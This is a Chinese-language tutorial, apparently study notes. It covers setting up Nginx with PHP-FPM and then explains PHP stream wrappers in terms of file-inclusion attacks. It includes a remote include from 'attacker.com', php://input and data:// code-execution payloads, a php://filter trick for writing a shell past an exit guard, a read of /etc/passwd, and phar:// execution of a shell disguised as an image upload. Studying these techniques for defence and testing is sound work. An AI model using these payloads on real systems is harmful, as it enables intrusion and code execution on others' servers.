一、Nginx与PHP环境部署
1.1 安装依赖包
apt-get install gcc libpcre3 libpcre3-dev zlib1g zlib1g-dev openssl libssl-dev
1.2 Nginx编译安装
# 1. 创建目录并解压
cd /usr/local
mkdir nginx
tar -xvf nginx-1.21.6.tar.gz
# 2. 配置编译选项
./configure --prefix=/home/centos/nginx \
--with-http_stub_status_module \
--with-http_ssl_module \
--with-http_sub_module
# 3. 编译安装
make
make install
1.3 PHP安装配置
# 添加PHP源
sudo add-apt-repository -y ppa:ondrej/php
sudo apt-get update
# 安装PHP7.3及相关扩展
sudo apt-get install php7.3 php7.3-fpm php7.3-mysql php7.3-curl \
php7.3-xml php7.3-gd php7.3-mbstring php7.3-zip
# 配置PHP-FPM监听端口
# 修改 /etc/php/7.3/fpm/pool.d/www.conf
# listen = 127.0.0.1:9000
1.4 Nginx与PHP-FPM集成
# Nginx配置文件中添加
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass 127.0.0.1:9000;
}
二、PHP伪协议
(一)概念
PHP伪协议(Wrapper)允许访问PHP的输入/输出流,是PHP中强大的文件操作功能,常用于文件包含、读取、写入等操作。
(二)常用伪协议
2.1 file:// --- 访问本地文件系统
**格式:**file://[文件路径]
特点:
1.默认协议,当未指定协议时使用
2.可读取本地文件
示例:
// 读取本地文件
$content = file_get_contents('file:///etc/passwd');
// 简写
$content = file_get_contents('/etc/passwd');
安全限制:
1.受 open_basedir 限制
2.需要文件读取权限
2.2 http:// & https:// --- 访问HTTP资源
格式 :http(s)://[URL]
特点:
1.远程文件包含(RFI)的关键
2.可通过URL获取远程文件
示例:
// 远程包含(需allow_url_include=On)
include('http://attacker.com/shell.php');
// 读取远程内容
$content = file_get_contents('https://example.com/data.txt');
配置要求:
allow_url_fopen = On ; 允许fopen打开URL
allow_url_include = On ; 允许include远程文件(PHP5.2+默认关闭)
2.3 ftp:// --- FTP访问
格式 :ftp://[用户名:密码@]主机名[:端口]/路径
示例:
// 匿名访问
$content = file_get_contents('ftp://example.com/pub/file.txt');
// 认证访问
$content = file_get_contents('ftp://user:pass@example.com/file.txt');
2.4 php:// --- 访问输入输出流
2.4.1 php://input
作用:读取POST请求的原始数据
示例:
// 读取POST原始数据
$input = file_get_contents('php://input');
// 配合include执行代码(需allow_url_include=On)
// POST数据:<?php system('id'); ?>
include('php://input');
限制:
1.需要 allow_url_include=On
2.仅适用于POST请求
2.4.2 php://output
作用:写入到输出缓冲区
示例:
// 直接输出
$fp = fopen('php://output', 'w');
fwrite($fp, 'Hello World');
fclose($fp);
2.4.3 php://filter
作用:对流进行过滤处理
格式 :php://filter/[过滤器]/resource=[资源]
常用过滤器:
1.convert.base64-encode / convert.base64-decode - Base64编解码
2.convert.quoted-printable-encode / convert.quoted-printable-decode
3.string.rot13 - ROT13编码
4。string.toupper / string.tolower - 大小写转换
5.string.strip_tags - 去除HTML/PHP标签
6.zlib.deflate / zlib.inflate - 压缩/解压
多层过滤:
// 多层过滤器用|分隔
php://filter/read=string.strip_tags|convert.base64-decode/resource=data://text/plain,xxxx
示例:
// 读取文件并Base64编码
$content = file_get_contents('php://filter/read=convert.base64-encode/resource=config.php');
// 写入时编码
file_put_contents('php://filter/write=convert.base64-decode/resource=output.txt', $base64_data);
安全利用:
// 绕过死亡exit
// 原代码:<?php exit; ?>
// Base64解码时会忽略非法字符 <?php ; 空格 ?>
// 剩下 "phpexit" (7字符) + "a" = 8字符(base64要求4字节对齐)
file_put_contents(
'php://filter/write=convert.base64-decode/resource=shell.php',
'PD9waHAgcGhwaW5mbygpOyA/Pg==' // <?php phpinfo(); ?> 的base64
);
2.4.4 php://memory / php://temp
作用:在内存或临时文件中读写数据
示例:
// 内存流
$fp = fopen('php://memory', 'r+');
fwrite($fp, 'data');
rewind($fp);
echo fread($fp, 1024);
// 临时文件(超过2MB或指定大小会写入磁盘)
$fp = fopen('php://temp/maxmemory:1024', 'r+');
2.5 data:// --- 数据流封装
格式 :data://[mime类型][;base64],数据
特点:
1.将数据内嵌在URL中
2.常用于代码执行
示例:
// 文本数据
$text = file_get_contents('data://text/plain,hello world');
// Base64编码的PHP代码
include('data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+');
// 直接执行代码(需allow_url_include=On)
include('data://text/plain,<?php phpinfo();?>');
配置要求:
allow_url_fopen = On
allow_url_include = On ; PHP>=5.2.0
限制:
1.PHP>=5.2.0 开始支持
2.data:// 在 allow_url_include 关闭时不可用
2.6 phar:// --- Phar归档访问
格式 :phar://[归档文件]/[内部文件路径]
特点:
1.访问ZIP/PHAR/TAR归档中的文件
2.不依赖文件扩展名,依赖文件内容格式
安全漏洞:
# 1. 创建恶意ZIP
echo '<?php phpinfo();?>' > shell.php
zip test.zip shell.php
# 2. 改名绕过上传限制
mv test.zip shell.jpg
# 3. 通过phar协议执行
include('phar://uploads/shell.jpg/shell.php');
原理:
1.检测文件头Magic Bytes而非扩展名
2.ZIP文件头:PK\x03\x04
3.PHAR文件头:__HALT_COMPILER()
利用条件:
-
可上传文件(任意扩展名)
-
存在文件包含点
-
PHP版本>=5.3.0
2.7 zip:// --- ZIP归档访问
格式 :zip://[归档文件路径]#[内部文件路径]
与phar://的区别:
-
需要绝对路径
-
使用
#而非/分隔 -
#需要URL编码为%23
示例:
// 读取ZIP中的文件
include('zip:///path/to/archive.zip%23shell.php');
// 相对路径不可用
include('zip://archive.zip%23shell.php'); // 错误
2.8 glob:// --- 查找匹配的文件路径
格式 :glob://[模式]
示例:
// 查找所有.txt文件
$files = glob('glob://*.txt');
// 配合DirectoryIterator使用
$dir = new DirectoryIterator('glob:///var/log/*.log');
2.9 expect:// --- 执行系统命令
格式 :expect://[命令]
特点:
-
执行系统命令并获取输出
-
默认禁用
示例:
// 需要安装expect扩展并启用
$output = file_get_contents('expect://ls');
安全风险:
高危协议,通常在生产环境中禁用